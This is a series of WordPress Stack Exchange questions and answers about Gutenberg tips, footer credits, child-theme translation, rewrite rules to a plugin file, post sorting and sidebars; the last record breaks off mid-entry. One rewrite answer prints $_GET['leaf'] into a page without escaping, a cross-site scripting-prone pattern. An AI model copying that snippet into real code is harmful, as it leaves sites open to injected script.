"text": "<p><a href=\"https://i.stack.imgur.com/T91C1.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/T91C1.png\" alt=\"enter image description here\"></a></p>\n\n<h2>Update #1:</h2>\n\n<p>After asking from @leymannx I checked how these settings are stored.\nIt turned out that settings are not permanent, they are saved in the browser as <code>localStorage</code>. </p>\n\n<pre><code>key: WP_DATA_USER_{id}:\nvalue: {\n \"core/nux\":{\n \"preferences\":{\n \"areTipsEnabled\":false,\n \"dismissedTips\":{}\n }\n },\n //\"core/edit-post\"\n //...\n</code></pre>\n\n<h2>Update #2:</h2>\n\n<p>Gutenberg tips can be disabled by using <code>dispatch('core/nux').disableTips()</code> (<a href=\"https://github.com/WordPress/gutenberg/blob/master/packages/nux/README.md#disabling-and-enabling-tips\" rel=\"noreferrer\">NUX package</a>) and action hook <code>enqueue_block_editor_assets</code>. </p>\n\n<p>file <em>functions.php</em>:</p>\n\n<pre><code>function se334561_editor_tips() {\n\n wp_enqueue_script(\n 'se334561-js',\n // --- to use in plugin ---\n // plugins_url('/disable-tips.js', __FILE__),\n get_stylesheet_directory_uri() . '/disable-tips.js',\n array('wp-blocks')\n );\n}\nadd_action('enqueue_block_editor_assets', 'se334561_editor_tips');\n</code></pre>\n\n<p>file <em>disable-tips.js</em>:</p>\n\n<pre><code>jQuery(document).ready(function(){\n var isVisible = wp.data.select('core/nux').areTipsEnabled()\n if (isVisible) {\n wp.data.dispatch('core/nux').disableTips();\n }\n});\n</code></pre>\n"
},
{
"answer_id": 334578,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 2,
"selected": false,
"text": "<p>As @nmr found out this seems to be stored browser-wise only. Though I found a workaround to simply hide it via CSS. Quick and dirty.</p>\n\n<h3><code>functions.php</code>:</h3>\n\n<pre><code>// Add backend styles for Gutenberg.\nadd_action('enqueue_block_editor_assets', 'gutenberg_editor_assets');\n\nfunction gutenberg_editor_assets() {\n // Load the theme styles within Gutenberg.\n wp_enqueue_style('my-gutenberg-editor-styles', get_theme_file_uri('/assets/gutenberg-editor-styles.css'), FALSE);\n}\n</code></pre>\n\n<h3><code>assets/gutenberg-editor-styles.css</code>:</h3>\n\n<pre><code>.components-popover.nux-dot-tip {\n display: none !important;\n}\n</code></pre>\n\n<hr>\n\n<p>Source: <a href=\"https://florianbrinkmann.com/en/4544/editor-styles-gutenberg/\" rel=\"nofollow noreferrer\">Creating theme editor styles for Gutenberg</a></p>\n"
},
{
"answer_id": 372594,
"author": "Jules",
"author_id": 5986,
"author_profile": "https://wordpress.stackexchange.com/users/5986",
"pm_score": 2,
"selected": false,
"text": "<p>Small plugin that should fix it: <a href=\"https://wordpress.org/plugins/disable-welcome-messages-and-tips/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/disable-welcome-messages-and-tips/</a></p>\n<p>The relevant part of the code is:</p>\n<pre><code><style>\n /* disable tips */\n .wp-admin .components-popover.nux-dot-tip {\n display: none !important;\n }\n</style>\n\n<script>\n /* disable welcome message */\n window.onload = function(){\n wp.data && wp.data.select( 'core/edit-post' ).isFeatureActive( 'welcomeGuide' ) && wp.data.dispatch( 'core/edit-post' ).toggleFeature( 'welcomeGuide' );\n };\n</script>\n</code></pre>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334559",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/59755/"
] | I like Gutenberg a lot, however, the tips at the beginning of each page load
drives me mad. I would like to disable the nagging tips forever and ever via code.
Please don't post "Disable Gutenberg" plugin, I've already seen that. I want to do it via a couple of lines of code in my theme.
There must be a hook, but I couldn't find it.
Thanks for a hint.
[](https://i.stack.imgur.com/yplp7.png) | [](https://i.stack.imgur.com/T91C1.png)
Update #1:
----------
After asking from @leymannx I checked how these settings are stored.
It turned out that settings are not permanent, they are saved in the browser as `localStorage`.
```
key: WP_DATA_USER_{id}:
value: {
"core/nux":{
"preferences":{
"areTipsEnabled":false,
"dismissedTips":{}
}
},
//"core/edit-post"
//...
```
Update #2:
----------
Gutenberg tips can be disabled by using `dispatch('core/nux').disableTips()` ([NUX package](https://github.com/WordPress/gutenberg/blob/master/packages/nux/README.md#disabling-and-enabling-tips)) and action hook `enqueue_block_editor_assets`.
file *functions.php*:
```
function se334561_editor_tips() {
wp_enqueue_script(
'se334561-js',
// --- to use in plugin ---
// plugins_url('/disable-tips.js', __FILE__),
get_stylesheet_directory_uri() . '/disable-tips.js',
array('wp-blocks')
);
}
add_action('enqueue_block_editor_assets', 'se334561_editor_tips');
```
file *disable-tips.js*:
```
jQuery(document).ready(function(){
var isVisible = wp.data.select('core/nux').areTipsEnabled()
if (isVisible) {
wp.data.dispatch('core/nux').disableTips();
}
});
``` |
334,573 | <p>My website has footer credit which is really hard for me to hide or remove or replace please help me , I'm using painting theme from <strong>themeforest</strong>.</p>
<p>I even tried this also:</p>
<pre><code>.site-info{
display:none;
}
</code></pre>
| [
{
"answer_id": 334574,
"author": "Mohsin Ghouri",
"author_id": 159253,
"author_profile": "https://wordpress.stackexchange.com/users/159253",
"pm_score": -1,
"selected": false,
"text": "<p>Please use the below code to remove the footer copyright information.</p>\n\n<pre><code>.copyright p {\ndisplay: none;\n}\n</code></pre>\n\n<p>This will work fine.</p>\n"
},
{
"answer_id": 334579,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": -1,
"selected": false,
"text": "<p>Css is not a proper. you are using premium theme then use theme setting. check the theme setting or footer widgth for remove or change this text.</p>\n"
},
{
"answer_id": 334582,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 0,
"selected": false,
"text": "<p>It's going to be hard to answer this without being able to see the theme admin. Check to see if there are any theme customisation options in your admin. Some themes may come with their own control panel which lets you toggle settings or alter footer content, like the copyright.</p>\n\n<p>The theme may also have a hook to let you filter and alter the content, again without access to the code I am only guessing here.</p>\n\n<p>A good solution here would be to <a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">create a child theme</a> from this, and create a new footer.php template to override the content. Make a copy of the current footer.php and place it in your child theme, and then simply remove the copyright.</p>\n\n<p>Lastly, check the terms and conditions on this theme you have purchased as you may not be allowed to remove the copyright notice.</p>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334573",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165245/"
] | My website has footer credit which is really hard for me to hide or remove or replace please help me , I'm using painting theme from **themeforest**.
I even tried this also:
```
.site-info{
display:none;
}
``` | It's going to be hard to answer this without being able to see the theme admin. Check to see if there are any theme customisation options in your admin. Some themes may come with their own control panel which lets you toggle settings or alter footer content, like the copyright.
The theme may also have a hook to let you filter and alter the content, again without access to the code I am only guessing here.
A good solution here would be to [create a child theme](https://developer.wordpress.org/themes/advanced-topics/child-themes/) from this, and create a new footer.php template to override the content. Make a copy of the current footer.php and place it in your child theme, and then simply remove the copyright.
Lastly, check the terms and conditions on this theme you have purchased as you may not be allowed to remove the copyright notice. |
334,595 | <h1>What I'm doing</h1>
<p>I am translating a <strong>child theme</strong> and followed the instructions on <a href="https://developer.wordpress.org/themes/advanced-topics/child-themes/#internationalization" rel="nofollow noreferrer">https://developer.wordpress.org/themes/advanced-topics/child-themes/#internationalization</a>. </p>
<h1>What I did so far</h1>
<h3>Step 0</h3>
<p>All the text strings in my php files follow the structure of </p>
<pre class="lang-php prettyprint-override"><code>_e('this string needs translation', 'my_text_domain')
</code></pre>
<p>Also there are currently no php files from the parent theme in my child theme's folder. I just mention that in case someone thinks that this could be the problem:</p>
<blockquote>
<p>In the event that a template file from the parent them has been included, the textdomain should be changed from the one defined in the parent theme to the one defined by the child theme.</p>
</blockquote>
<h3>Step 1</h3>
<p>I created a "/lang/" folder in my child theme folder</p>
<h3>Step 2</h3>
<p>I used <a href="https://poedit.net/" rel="nofollow noreferrer">poedit</a> in order to create a new wp theme translation, so de_DE.mo as well as de_DE.po files were created and saved to my child themes lang folder. </p>
<h3>Step 3</h3>
<p>I have included in my <strong>child themes functions.php</strong>:</p>
<pre class="lang-php prettyprint-override"><code>add_action('after_setup_theme', 'my_lang_setup');
function my_lang_setup()
{
$lang = get_stylesheet_directory() . '/lang';
load_child_theme_textdomain('my_text_domain', $lang);
}
</code></pre>
<h3>Result of Step 0 - 3</h3>
<p>All the strings of my child theme <strong>ARE</strong> translated and show up correctly in my front end!</p>
<h1>The issues I am trying to solve</h1>
<ol>
<li>All the <strong>strings</strong> of the <strong>parent theme</strong> aren't translated anymore and just show up in english</li>
<li>When updating (or loading) the translations in poedit it removes all the strings from the parent theme (which might be the major issue)</li>
</ol>
<h1>Questions</h1>
<ol>
<li>Of course, how to solve my issues?</li>
<li>Does the child theme's text domain have to be the same as the parent theme's text domain? I found different statements / "How to's" so I am a bit confused. </li>
<li>Is there anything I am missing? </li>
<li>There are four options in order to translate with poedit:
<ul>
<li>Edit translation</li>
<li>Create new translation</li>
<li>Translate Wordpress theme or plugin </li>
<li>Translate together with others (not relevant)</li>
</ul></li>
</ol>
<p>I tried I guess all of the above mentioned options with the same result. Is there a way to include the parent themes language files / catalogue?</p>
| [
{
"answer_id": 334626,
"author": "Tim",
"author_id": 48306,
"author_profile": "https://wordpress.stackexchange.com/users/48306",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n <p>Does the child theme's text domain have to be the same as the parent\n theme's text domain?</p>\n</blockquote>\n\n<p>It must NOT be the same.</p>\n\n<p>Text domains must be unique. If the parent theme loads a file into \"my_text_domain\" and then your child theme loads a file into \"my_text_domain\", it will overwrite the previous one.</p>\n"
},
{
"answer_id": 345136,
"author": "wbq",
"author_id": 165265,
"author_profile": "https://wordpress.stackexchange.com/users/165265",
"pm_score": 2,
"selected": true,
"text": "<p><strong>Found a solution that works for me:</strong></p>\n\n<pre><code>add_action( 'after_setup_theme', 'avia_lang_setup' );\nfunction avia_lang_setup() {\n $lang = apply_filters('parent-theme-slug', get_template_directory() . '/lang');\n load_theme_textdomain('avia_framework', $lang);\n load_child_theme_textdomain( 'child-theme-text-domain', get_stylesheet_directory() . '/lang' );\n}\n</code></pre>\n\n<p><strong>Note:</strong>\nExchange <em>\"parent-theme-slug\"</em> (typically the parent theme name in small letters) and <em>\"child-theme-text-domain\"</em> (child theme text domain of your choice)</p>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334595",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165265/"
] | What I'm doing
==============
I am translating a **child theme** and followed the instructions on <https://developer.wordpress.org/themes/advanced-topics/child-themes/#internationalization>.
What I did so far
=================
### Step 0
All the text strings in my php files follow the structure of
```php
_e('this string needs translation', 'my_text_domain')
```
Also there are currently no php files from the parent theme in my child theme's folder. I just mention that in case someone thinks that this could be the problem:
>
> In the event that a template file from the parent them has been included, the textdomain should be changed from the one defined in the parent theme to the one defined by the child theme.
>
>
>
### Step 1
I created a "/lang/" folder in my child theme folder
### Step 2
I used [poedit](https://poedit.net/) in order to create a new wp theme translation, so de\_DE.mo as well as de\_DE.po files were created and saved to my child themes lang folder.
### Step 3
I have included in my **child themes functions.php**:
```php
add_action('after_setup_theme', 'my_lang_setup');
function my_lang_setup()
{
$lang = get_stylesheet_directory() . '/lang';
load_child_theme_textdomain('my_text_domain', $lang);
}
```
### Result of Step 0 - 3
All the strings of my child theme **ARE** translated and show up correctly in my front end!
The issues I am trying to solve
===============================
1. All the **strings** of the **parent theme** aren't translated anymore and just show up in english
2. When updating (or loading) the translations in poedit it removes all the strings from the parent theme (which might be the major issue)
Questions
=========
1. Of course, how to solve my issues?
2. Does the child theme's text domain have to be the same as the parent theme's text domain? I found different statements / "How to's" so I am a bit confused.
3. Is there anything I am missing?
4. There are four options in order to translate with poedit:
* Edit translation
* Create new translation
* Translate Wordpress theme or plugin
* Translate together with others (not relevant)
I tried I guess all of the above mentioned options with the same result. Is there a way to include the parent themes language files / catalogue? | **Found a solution that works for me:**
```
add_action( 'after_setup_theme', 'avia_lang_setup' );
function avia_lang_setup() {
$lang = apply_filters('parent-theme-slug', get_template_directory() . '/lang');
load_theme_textdomain('avia_framework', $lang);
load_child_theme_textdomain( 'child-theme-text-domain', get_stylesheet_directory() . '/lang' );
}
```
**Note:**
Exchange *"parent-theme-slug"* (typically the parent theme name in small letters) and *"child-theme-text-domain"* (child theme text domain of your choice) |
334,641 | <p>I'm trying to add a rewrite rule that will point to a file inside a plugin. This can be added in the plugin, theme or .htaccess file.</p>
<p>My current code from inside the theme's function.php looks like:</p>
<pre><code>// Add Custom Rewrite Rules
function custom_rewrite_basic() {
flush_rewrite_rules();
add_rewrite_rule('^leaf/([0-9]+)/?', 'wp-content/plugins/my-plugin/index.php?leaf=$matches[1]', 'top');
}
add_action('init', 'custom_rewrite_basic');
</code></pre>
<p><strong>Note:</strong> I'm trying to do this on a Multisite network for a path based subdomain.</p>
| [
{
"answer_id": 334654,
"author": "Sally CJ",
"author_id": 137402,
"author_profile": "https://wordpress.stackexchange.com/users/137402",
"pm_score": 4,
"selected": true,
"text": "<p><em>(Revised answer)</em></p>\n\n<ol>\n<li><p><em>Don't call <code>flush_rewrite_rules()</code> on <code>init</code>.</em> Instead, if you want to do it programmatically, call the function from your plugin or theme activation function. If you're not doing it programmatically, you could simply visit the Permalink Settings page (Settings → Permalinks on the WordPress back-end).</p></li>\n<li><p><em>WordPress does support adding a rewrite rule that doesn't correspond to <code>index.php</code></em>, i.e. the second parameter passed to <code>add_rewrite_rule()</code> <strong>does <em>not</em> necessarily need to</strong> start with <code>index.php</code> — and when it doesn't, WordPress will (attempt to automatically) write the rewrite rule to the <code>.htaccess</code> file.</p>\n\n<p>However, your code should look like so, where the <em>first parameter</em> should not start with a caret (<code>^</code>), and the <em>second parameter</em> should use <code>$1</code> instead of <code>$matches[1]</code> (<code>$matches[1]</code> is only for rewrite rule which corresponds to the WordPress's <code>index.php</code>):</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>add_rewrite_rule('leaf/([0-9]+)/?', 'wp-content/plugins/my-plugin/index.php?leaf=$1', 'top');\n</code></pre>\n\n<p>And if your <code>.htaccess</code> file is <a href=\"https://codex.wordpress.org/Changing_File_Permissions\" rel=\"noreferrer\">writable</a>, then after the rewrite rules are <em>flushed</em>, you should see something like this in the file:</p>\n\n<pre><code>RewriteRule ^index\\.php$ - [L]\nRewriteRule ^leaf/([0-9]+)/? /wp-content/plugins/my-plugin/index.php?leaf=$1 [QSA,L]\n</code></pre>\n\n<p>The \"leaf\" value would be available in the (superglobal) <code>$_GET</code> and within your <code>index.php</code> file, you could do:</p>\n\n<pre><code><p><?php echo $_GET['leaf']; ?></p>\n</code></pre></li>\n<li><p>Instead of using <code>add_rewrite_rule()</code>, you could also use the <code>parse_request</code> action hook to handle the URL/request and then load the custom plugin file. Working example:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code><?php\nadd_action( 'parse_request', function( $wp ){\n if ( preg_match( '#^leaf/([0-9]+)/?#', $wp->request, $matches ) ) {\n $leaf = $matches[1];\n\n // Load your file - make sure the path is correct.\n include_once plugin_dir_path( __FILE__ ) . 'index.php';\n\n exit; // and exit\n }\n} );\n</code></pre>\n\n<p>So as you can see, the \"leaf\" value is saved to the <code>$leaf</code> variable. So within your <code>index.php</code> file, you could do:</p>\n\n<pre><code><p><?php echo $leaf; ?></p>\n</code></pre>\n\n<p><em>With the <code>parse_request</code> hook, you don't need to worry about your <code>.htaccess</code> file not being writable;</em> however, the <code>$_GET['leaf']</code> wouldn't be available, which explains why we use the <code>$leaf</code> variable. :)</p>\n\n<p>But yes, although I don't recommend it, you could do <code>$_GET['leaf'] = $matches[1];</code> and the <code>$_GET['leaf']</code> would be available in your script. ;)</p></li>\n</ol>\n"
},
{
"answer_id": 334870,
"author": "TheoPlatica",
"author_id": 105985,
"author_profile": "https://wordpress.stackexchange.com/users/105985",
"pm_score": 1,
"selected": false,
"text": "<p>@Sally CJ,</p>\n\n<p>Thank you very much for your reply. You gave me a great direction. Don't have enough reputation yet, but I would definitely Upvote your answer.</p>\n\n<p>My current code (inside the child theme) looks like this: </p>\n\n<pre><code><?php\n\n add_action( 'parse_request', function( $wp ){\n // The regex can be changed depending on your needs\n if ( preg_match( '#^leaf/(.*)/?#', $wp->request, $matches ) ) {\n // Get the Leaf Number\n $leaf = $matches[1]; \n\n // Define it for my-plugin's index.php\n $_GET['leaf'] = urldecode($leaf);\n\n // Load your file - make sure the path is correct.\n include_once WP_CONTENT_DIR . '/plugins/my-plugin/index.php';\n exit; // and exit\n }\n });\n</code></pre>\n\n<p>You can test your regex here: <a href=\"https://www.regextester.com/96691\" rel=\"nofollow noreferrer\">https://www.regextester.com/96691</a></p>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334641",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105985/"
] | I'm trying to add a rewrite rule that will point to a file inside a plugin. This can be added in the plugin, theme or .htaccess file.
My current code from inside the theme's function.php looks like:
```
// Add Custom Rewrite Rules
function custom_rewrite_basic() {
flush_rewrite_rules();
add_rewrite_rule('^leaf/([0-9]+)/?', 'wp-content/plugins/my-plugin/index.php?leaf=$matches[1]', 'top');
}
add_action('init', 'custom_rewrite_basic');
```
**Note:** I'm trying to do this on a Multisite network for a path based subdomain. | *(Revised answer)*
1. *Don't call `flush_rewrite_rules()` on `init`.* Instead, if you want to do it programmatically, call the function from your plugin or theme activation function. If you're not doing it programmatically, you could simply visit the Permalink Settings page (Settings → Permalinks on the WordPress back-end).
2. *WordPress does support adding a rewrite rule that doesn't correspond to `index.php`*, i.e. the second parameter passed to `add_rewrite_rule()` **does *not* necessarily need to** start with `index.php` — and when it doesn't, WordPress will (attempt to automatically) write the rewrite rule to the `.htaccess` file.
However, your code should look like so, where the *first parameter* should not start with a caret (`^`), and the *second parameter* should use `$1` instead of `$matches[1]` (`$matches[1]` is only for rewrite rule which corresponds to the WordPress's `index.php`):
```php
add_rewrite_rule('leaf/([0-9]+)/?', 'wp-content/plugins/my-plugin/index.php?leaf=$1', 'top');
```
And if your `.htaccess` file is [writable](https://codex.wordpress.org/Changing_File_Permissions), then after the rewrite rules are *flushed*, you should see something like this in the file:
```
RewriteRule ^index\.php$ - [L]
RewriteRule ^leaf/([0-9]+)/? /wp-content/plugins/my-plugin/index.php?leaf=$1 [QSA,L]
```
The "leaf" value would be available in the (superglobal) `$_GET` and within your `index.php` file, you could do:
```
<p><?php echo $_GET['leaf']; ?></p>
```
3. Instead of using `add_rewrite_rule()`, you could also use the `parse_request` action hook to handle the URL/request and then load the custom plugin file. Working example:
```php
<?php
add_action( 'parse_request', function( $wp ){
if ( preg_match( '#^leaf/([0-9]+)/?#', $wp->request, $matches ) ) {
$leaf = $matches[1];
// Load your file - make sure the path is correct.
include_once plugin_dir_path( __FILE__ ) . 'index.php';
exit; // and exit
}
} );
```
So as you can see, the "leaf" value is saved to the `$leaf` variable. So within your `index.php` file, you could do:
```
<p><?php echo $leaf; ?></p>
```
*With the `parse_request` hook, you don't need to worry about your `.htaccess` file not being writable;* however, the `$_GET['leaf']` wouldn't be available, which explains why we use the `$leaf` variable. :)
But yes, although I don't recommend it, you could do `$_GET['leaf'] = $matches[1];` and the `$_GET['leaf']` would be available in your script. ;) |
334,643 | <p>In wordpress, right now only on my main blog page, I managed to sort all posts with:</p>
<pre><code><?php if ( is_active_sidebar( 'blog-category' ) ) : ?>
<?php dynamic_sidebar( 'blog-category' ); ?>
<?php endif; ?>
</div>
<div class="blog_list_content">
<?php
global $wp_query;
$args = array(
'meta_key' => 'publish_date',
'orderby' => 'meta_value',
'order' => 'DESC'
);
$args = array_merge( $wp_query->query, $args );
query_posts( $args );
if (have_posts()) :
while (have_posts()) : the_post();
get_template_part( 'template-parts/content', get_post_format() );
endwhile;
theme_paging_nav();
endif;
?>
</code></pre>
<p>When I click a blog category, the sorting doesn't work. Only on the main blog page.
What do I need to do in order to sort the posts on other categories in the same way?</p>
| [
{
"answer_id": 334653,
"author": "Matt Cromwell",
"author_id": 48338,
"author_profile": "https://wordpress.stackexchange.com/users/48338",
"pm_score": -1,
"selected": false,
"text": "<p>You most likely updated your index.php right? In the case of category pages you can use category.php (or archive.php but category.php is more specific). </p>\n\n<p>The Codex has a good example that you could adapt fairly easily:\n<a href=\"https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages</a></p>\n\n<pre><code><?php if (is_category('Category A')) : ?>\n<p>This is the text to describe category A</p>\n<?php elseif (is_category('Category B')) : ?>\n<p>This is the text to describe category B</p>\n<?php else : ?>\n<p>This is some generic text to describe all other category pages, \nI could be left blank</p>\n<?php endif; ?>\n</code></pre>\n\n<p>Alternatively, you could get VERY specific, and customize by category slug, having a unique template for every category you create. So if you had three categories called:</p>\n\n<ul>\n<li>Cats</li>\n<li>Dogs</li>\n<li>Hamsters</li>\n</ul>\n\n<p>You would have three templates called:</p>\n\n<ul>\n<li>category-cats.php</li>\n<li>category-dogs.php</li>\n<li>category-hampsters.php</li>\n</ul>\n\n<p>In order to have custom sorting on each of those templates, you'd customize the wp_query args with the \"orderby\" argument. See here:\n<a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters</a></p>\n\n<p>I hope that clears it up a bit. Good luck!</p>\n"
},
{
"answer_id": 334658,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
"text": "<p>First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.</p>\n\n<p>So first things first. Remove that part of your code:</p>\n\n<pre><code> global $wp_query;\n $args = array(\n 'meta_key' => 'publish_date',\n 'orderby' => 'meta_value',\n 'order' => 'DESC'\n );\n $args = array_merge( $wp_query->query, $args );\n query_posts( $args );\n</code></pre>\n\n<p>All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts\" rel=\"nofollow noreferrer\"><code>pre_get_posts</code></a>. And you can use it to modify order on category archives too:</p>\n\n<pre><code>function my_set_custom_order( $query ) {\n if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end\n if ( is_home() ) {\n $query->set( 'meta_key', 'publish_date' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'DESC' );\n }\n if ( is_category( 'cats' ) ) {\n $query->set( 'meta_key', 'cat_name' );\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'order', 'ASC' ); \n }\n // ...\n }\n}\nadd_action( 'pre_get_posts', 'my_set_custom_order' );\n</code></pre>\n\n<p>This will sort your homepage DESC by <code>publish_date</code> and your cats category ASC by <code>cat_name</code>.</p>\n\n<p>You can add whatever you want/need in there and you can use <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\">Conditional Tags</a> to modify queries only for some requests. </p>\n"
}
] | 2019/04/17 | [
"https://wordpress.stackexchange.com/questions/334643",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165315/"
] | In wordpress, right now only on my main blog page, I managed to sort all posts with:
```
<?php if ( is_active_sidebar( 'blog-category' ) ) : ?>
<?php dynamic_sidebar( 'blog-category' ); ?>
<?php endif; ?>
</div>
<div class="blog_list_content">
<?php
global $wp_query;
$args = array(
'meta_key' => 'publish_date',
'orderby' => 'meta_value',
'order' => 'DESC'
);
$args = array_merge( $wp_query->query, $args );
query_posts( $args );
if (have_posts()) :
while (have_posts()) : the_post();
get_template_part( 'template-parts/content', get_post_format() );
endwhile;
theme_paging_nav();
endif;
?>
```
When I click a blog category, the sorting doesn't work. Only on the main blog page.
What do I need to do in order to sort the posts on other categories in the same way? | First of all, you should not use custom query just to change the order of posts. This may cause problems with pagination and definitely is not optimal.
So first things first. Remove that part of your code:
```
global $wp_query;
$args = array(
'meta_key' => 'publish_date',
'orderby' => 'meta_value',
'order' => 'DESC'
);
$args = array_merge( $wp_query->query, $args );
query_posts( $args );
```
All it does is changing few params and calling the query again. But there is an action, that allows you to add your custom parameters before running the query: [`pre_get_posts`](https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts). And you can use it to modify order on category archives too:
```
function my_set_custom_order( $query ) {
if ( ! is_admin() && $query->is_main_query() ) { // modify only main query on front-end
if ( is_home() ) {
$query->set( 'meta_key', 'publish_date' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'DESC' );
}
if ( is_category( 'cats' ) ) {
$query->set( 'meta_key', 'cat_name' );
$query->set( 'orderby', 'meta_value' );
$query->set( 'order', 'ASC' );
}
// ...
}
}
add_action( 'pre_get_posts', 'my_set_custom_order' );
```
This will sort your homepage DESC by `publish_date` and your cats category ASC by `cat_name`.
You can add whatever you want/need in there and you can use [Conditional Tags](https://codex.wordpress.org/Conditional_Tags) to modify queries only for some requests. |
334,684 | <p>I have been struggling with this for hours now, any help appreciated. I am using Underscores theme with one sidebar (sidebar-1, on the left) and Custom Sidebars plugin so that I can have different side content on each page. The problem is when I add a new sidebar (sidebar-2) which I want to appear just above the footer to contain the same content on every page.</p>
<p>functions.php:</p>
<pre><code>function myunderscores3_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'myunderscores3' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'myunderscores3' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
//'before_title' => '<!--',
//'after_title' => '-->',
) );
register_sidebar( array(
'name' => esc_html__( 'Bottom Sidebar', 'myunderscores3' ),
'id' => 'sidebar-2',
'description' => esc_html__( 'Add widgets here.', 'myunderscores3' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
//'before_title' => '<!--',
//'after_title' => '-->',
) );
}
add_action( 'widgets_init', 'myunderscores3_widgets_init' );
</code></pre>
<p>sidebar.php (for the sidebar-1 content):</p>
<pre><code>if ( ! is_active_sidebar( 'sidebar-1' ) ) {
return;
}
?>
<aside id="secondary" class="widget-area">
<?php dynamic_sidebar( 'sidebar-1' ); ?>
</aside><!-- #secondary -->
</code></pre>
<p>page.php (to pull in sidebar-1):</p>
<pre><code><?php
get_sidebar();
?>
</div><!-- wrapper -->
</code></pre>
<p>footer.php (to pull in sidebar-2):</p>
<pre><code>if (is_active_sidebar( 'sidebar-2' )) {
dynamic_sidebar( 'sidebar-2' );
}
?>
</div><!-- #content -->
</code></pre>
<p>After adding widget content to sidebar-2 this is working fine on every page apart from the one page that has no sidebar-1 content. On this page the sidebar-2 content is appearing twice - on the bottom as expected and in sidebar-1 content area also ! Furthermore the 'no-sidebar' class is missing from the body. In the backend the sidebar-1 widgets are located through each individual page whereas the sidebar-2 content is located through the widget ('As Sidebar for selected Post Types' - Pages). On the actual page where the sidebar-2 content is appearing twice I have not specified any sidebars inside the actual page as I am doing this through the widget settings. Any ideas ? Thank you</p>
| [
{
"answer_id": 334653,
"author": "Matt Cromwell",
"author_id": 48338,
"author_profile": "https://wordpress.stackexchange.com/users/48338",
"pm_score": -1,
"selected": false,
"text": "<p>You most likely updated your index.php right? In the case of category pages you can use category.php (or archive.php but category.php is more specific). </p>\n\n<p>The Codex has a good example that you could adapt fairly easily:\n<a href=\"https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Category_Templates#Different_Text_on_Some_Category_Pages</a></p>\n\n<pre><code><?php if (is_category('Category A')) : ?>\n<p>This is the text to describe category A</p>\n<?php elseif (is_category('Category B')) : ?>\n<p>This is the text to describe category B</p>\n<?php else : ?>\n<p>This is some generic text to describe all other category pages, \nI could be left blank</p>\n<?php endif; ?>\n</code></pre>\n\n<p>Alternatively, you could get VERY specific, and customize by category slug, having a unique template for every category you create. So if you had three categories called:</p>\n\n<ul>\n<li>Cats</li>\n<li>Dogs</li>\n<li>Hamsters</li>\n</ul>\n\n<p>You would have three templates called:</p>\n\n<ul>\n<li>category-cats.php</li>\n<li>category-dogs.php</li>\n<li>category-hampsters.php</li>\n</ul>\n\n<p>In order to have custom sorting on each of those templates, you'd customize the wp_query args with the \"orderby\" argument. See here:\n<a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters</a></p>\n\n<p>I hope that clears it up a bit. Good luck!</p>\n"
},
{
"answer_id": 334658,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": false,
